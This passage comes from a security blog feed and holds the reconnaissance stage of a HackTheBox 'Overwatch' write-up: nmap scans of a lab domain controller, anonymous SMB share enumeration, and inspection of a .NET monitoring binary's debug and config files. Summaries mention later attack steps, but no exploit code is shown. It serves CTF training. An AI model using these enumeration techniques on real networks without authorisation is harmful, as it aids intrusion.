      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />]]></content><author><name></name></author><category term="HTB" /><category term="Linux" /><category term="Easy" /><summary type="html"><![CDATA[Facts is a simple box themed around whitebox testing an open-source CMS. The foothold involves exploiting a mass assignment vulnerability to escalate privileges to admin within the CMS, then finding an AWS key in the settings to access an S3 bucket and retrieve an SSH key. At the time of release there's no public PoC available, so the exploit payload has to be manually derived from the CMS' source code. In the process of doing so, I also discovered an old path traversal CVE was insufficiently patched, making it possible to directly read the SSH key without escalation. For root it's just a simple GTFOBins exploit.]]></summary></entry><entry><title type="html">HTB Machine - Overwatch</title><link href="https://ch3ng625.github.io//overwatch" rel="alternate" type="text/html" title="HTB Machine - Overwatch" /><published>2026-05-16T00:00:00+00:00</published><updated>2026-05-16T00:00:00+00:00</updated><id>https://ch3ng625.github.io//overwatch</id><content type="html" xml:base="https://ch3ng625.github.io//overwatch"><![CDATA[<h2 id="summary">Summary:</h2>
<p>Overwatch is pretty straightforward and evolves around attacking a simple .NET monitoring application. It starts with finding a .NET binary in an open SMB share, decompiling it gives credentials to access MSSQL. There’s a linked server configured but it points to a non-existing host, I’ll perform ADIDNS poisoning to capture another set of credentials, which can be used to get a shell via WinRM. From here, I’ll discover the monitoring app running locally with admin privileges, and identify from the decompiled source code that it’s vulnerable to OS command injection.</p>

<hr />
<h2 id="enumeration">Enumeration:</h2>
<h3 id="nmap">Nmap:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap --min-rate 1000 -p- 10.129.188.76</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-25 12:39 ACDT
Nmap scan report for 10.129.188.76
Host is up (0.11s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
6520/tcp  open  unknown
9389/tcp  open  adws
49664/tcp open  unknown
49668/tcp open  unknown
50405/tcp open  unknown
50406/tcp open  unknown
52613/tcp open  unknown
52680/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 167.85 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap -A -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,6520,9389,49664,49668,50405,50406,52613,52680 10.129.188.76</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-25 12:44 ACDT
Nmap scan report for 10.129.188.76
Host is up (0.11s latency).

PORT      STATE    SERVICE       VERSION
53/tcp    open     domain        Simple DNS Plus
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-25 02:14:35Z)
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped
3389/tcp  open     ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-01-25T02:16:09+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after:  2026-06-08T15:16:06
| rdp-ntlm-info: 
|   Target_Name: OVERWATCH
|   NetBIOS_Domain_Name: OVERWATCH
|   NetBIOS_Computer_Name: S200401
|   DNS_Domain_Name: overwatch.htb
|   DNS_Computer_Name: S200401.overwatch.htb
|   DNS_Tree_Name: overwatch.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-01-25T02:15:28+00:00
5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
6520/tcp  open     ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info: 
|   10.129.188.76:6520: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 6520
| ms-sql-ntlm-info: 
|   10.129.188.76:6520: 
|     Target_Name: OVERWATCH
|     NetBIOS_Domain_Name: OVERWATCH
|     NetBIOS_Computer_Name: S200401
|     DNS_Domain_Name: overwatch.htb
|     DNS_Computer_Name: S200401.overwatch.htb
|     DNS_Tree_Name: overwatch.htb
|_    Product_Version: 10.0.20348
|_ssl-date: 2026-01-25T02:16:09+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-01-25T02:10:28
|_Not valid after:  2056-01-25T02:10:28
9389/tcp  open     mc-nmf        .NET Message Framing
49664/tcp open     msrpc         Microsoft Windows RPC
49668/tcp open     msrpc         Microsoft Windows RPC
50405/tcp open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
50406/tcp open     msrpc         Microsoft Windows RPC
52613/tcp open     msrpc         Microsoft Windows RPC
52680/tcp filtered unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-01-25T02:15:32
|_  start_date: N/A

TRACEROUTE (using port 139/tcp)
HOP RTT       ADDRESS
1   114.76 ms 10.10.14.1
2   113.68 ms 10.129.188.76

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.70 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The box is a domain controller for the <code class="language-plaintext highlighter-rouge">overwatch.htb</code> domain. Interestingly, the host name is an unusual <code class="language-plaintext highlighter-rouge">S200401</code> instead of the standard <code class="language-plaintext highlighter-rouge">DC</code> or <code class="language-plaintext highlighter-rouge">DC01</code>. MSSQL is also running on a non-default port 6520. I’ll add the domain and host names to <code class="language-plaintext highlighter-rouge">/etc/hosts</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># HTB machine Overwatch</span>
10.129.255.36   overwatch.htb   s200401.overwatch.htb
</code></pre></div></div>

<h3 id="tcp445---smb">TCP445 - SMB:</h3>

<p>Guest access is enabled, with a readable <code class="language-plaintext highlighter-rouge">software$</code> share.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">netexec smb overwatch.htb -u 'Anonymous' -p '' --shares</span>
<span class="cmd-output">
SMB         10.129.188.76   445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False) 
SMB         10.129.188.76   445    S200401          [+] overwatch.htb\Anonymous: (Guest)
SMB         10.129.188.76   445    S200401          [*] Enumerated shares
SMB         10.129.188.76   445    S200401          Share           Permissions     Remark
SMB         10.129.188.76   445    S200401          -----           -----------     ------
SMB         10.129.188.76   445    S200401          ADMIN$                          Remote Admin
SMB         10.129.188.76   445    S200401          C$                              Default share
SMB         10.129.188.76   445    S200401          IPC$            READ            Remote IPC
SMB         10.129.188.76   445    S200401          NETLOGON                        Logon server share 
SMB         10.129.188.76   445    S200401          software$       READ            
SMB         10.129.188.76   445    S200401          SYSVOL                          Logon server share
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Inside the share is a single folder called <code class="language-plaintext highlighter-rouge">Monitoring</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">smbclient \\\\overwatch.htb\\software$</span>
<span class="cmd-output">
Password for [WORKGROUP\ch3ng]:
Try "help" to get a list of possible commands.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">smb: \&gt;</span></span> <span class="custom-cmd">dir</span>

<span class="custom-output">&nbsp;
  .                                  DH        0  Sat May 17 10:57:07 2025
  ..                                DHS        0  Thu Jan  1 17:16:47 2026
  Monitoring                         DH        0  Sat May 17 11:02:43 2025

		7147007 blocks of size 4096. 981413 blocks available</span></pre>
  </div>
</div>

<p>It contains an executable and a bunch of related DLLs and config files. I’ll download all of them.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">smb: \Monitoring\&gt;</span></span> <span class="custom-cmd">dir</span>

<span class="custom-output">&nbsp;
  .                                  DH        0  Sat May 17 11:02:43 2025
  ..                                 DH        0  Sat May 17 10:57:07 2025
  EntityFramework.dll                AH  4991352  Fri Apr 17 06:08:42 2020
  EntityFramework.SqlServer.dll      AH   591752  Fri Apr 17 06:08:56 2020
  EntityFramework.SqlServer.xml      AH   163193  Fri Apr 17 06:08:56 2020
  EntityFramework.xml                AH  3738289  Fri Apr 17 06:08:40 2020
  Microsoft.Management.Infrastructure.dll     AH    36864  Tue Jul 18 00:16:10 2017
  overwatch.exe                      AH     9728  Sat May 17 10:49:24 2025
  overwatch.exe.config               AH     2163  Sat May 17 10:32:30 2025
  overwatch.pdb                      AH    30208  Sat May 17 10:49:24 2025
  System.Data.SQLite.dll             AH   450232  Mon Sep 30 06:11:18 2024
  System.Data.SQLite.EF6.dll         AH   206520  Mon Sep 30 06:10:06 2024
  System.Data.SQLite.Linq.dll        AH   206520  Mon Sep 30 06:10:42 2024
  System.Data.SQLite.xml             AH  1245480  Sun Sep 29 04:18:00 2024
  System.Management.Automation.dll     AH   360448  Tue Jul 18 00:16:10 2017
  System.Management.Automation.xml     AH  7145771  Tue Jul 18 00:16:10 2017
  x64                                DH        0  Sat May 17 11:02:33 2025
  x86                                DH        0  Sat May 17 11:02:33 2025

		7147007 blocks of size 4096. 980913 blocks available</span></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">overwatch.pdb</code> is a debuf file for the executable. Running <code class="language-plaintext highlighter-rouge">strings</code> on it reveals several references to the source code, which appears to be located in <code class="language-plaintext highlighter-rouge">Administrator</code>’s home directory. Seems like the executable is running with admin privileges on the box, any exploitation on it would likely result in privilege escalation.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">strings overwatch.pdb</span>
<span class="cmd-output">
Microsoft C/C++ MSF 7.00
?AC# - 4.13.0-3.25167.3+73eff2b5de2ad38ec602c0a9e82f9125fb85992b
BZy,G
C:\Users\Administrator\source\repos\overwatch\overwatch\MonitoringService.cs
c:\users\administrator\source\repos\overwatch\overwatch\monitoringservice.cs
C:\Users\Administrator\source\repos\overwatch\overwatch\Program.cs
c:\users\administrator\source\repos\overwatch\overwatch\program.cs
C:\Users\Administrator\source\repos\overwatch\overwatch\IMonitoringService.cs
c:\users\administrator\source\repos\overwatch\overwatch\imonitoringservice.cs
C:\Users\Administrator\source\repos\overwatch\overwatch\obj\x64\Release\.NETFramework,Version=v4.7.2.AssemblyAttributes.cs
c:\users\administrator\source\repos\overwatch\overwatch\obj\x64\release\.netframework,version=v4.7.2.assemblyattributes.cs
C:\Users\Administrator\source\repos\overwatch\overwatch\Properties\AssemblyInfo.cs
c:\users\administrator\source\repos\overwatch\overwatch\properties\assemblyinfo.cs
Main
USystem
USystem.ServiceModel
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>In <code class="language-plaintext highlighter-rouge">overwatch.exe.config</code>, the base address is listed as <code class="language-plaintext highlighter-rouge">http://overwatch.htb:8000/MonitorService</code>. Nmap did not find port 8000 open, so this is likely only locally accessible.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="nt">&lt;configuration&gt;</span>
  <span class="nt">&lt;configSections&gt;</span>
    <span class="c">&lt;!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 --&gt;</span>
    <span class="nt">&lt;section</span> <span class="na">name=</span><span class="s">"entityFramework"</span> <span class="na">type=</span><span class="s">"System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"</span> <span class="na">requirePermission=</span><span class="s">"false"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;/configSections&gt;</span>
  <span class="nt">&lt;system.serviceModel&gt;</span>
    <span class="nt">&lt;services&gt;</span>
      <span class="nt">&lt;service</span> <span class="na">name=</span><span class="s">"MonitoringService"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;host&gt;</span>
          <span class="nt">&lt;baseAddresses&gt;</span>
            <span class="nt">&lt;add</span> <span class="na">baseAddress=</span><span class="s">"http://overwatch.htb:8000/MonitorService"</span> <span class="nt">/&gt;</span>
          <span class="nt">&lt;/baseAddresses&gt;</span>
        <span class="nt">&lt;/host&gt;</span>
        <span class="nt">&lt;endpoint</span> <span class="na">address=</span><span class="s">""</span> <span class="na">binding=</span><span class="s">"basicHttpBinding"</span> <span class="na">contract=</span><span class="s">"IMonitoringService"</span> <span class="nt">/&gt;</span>
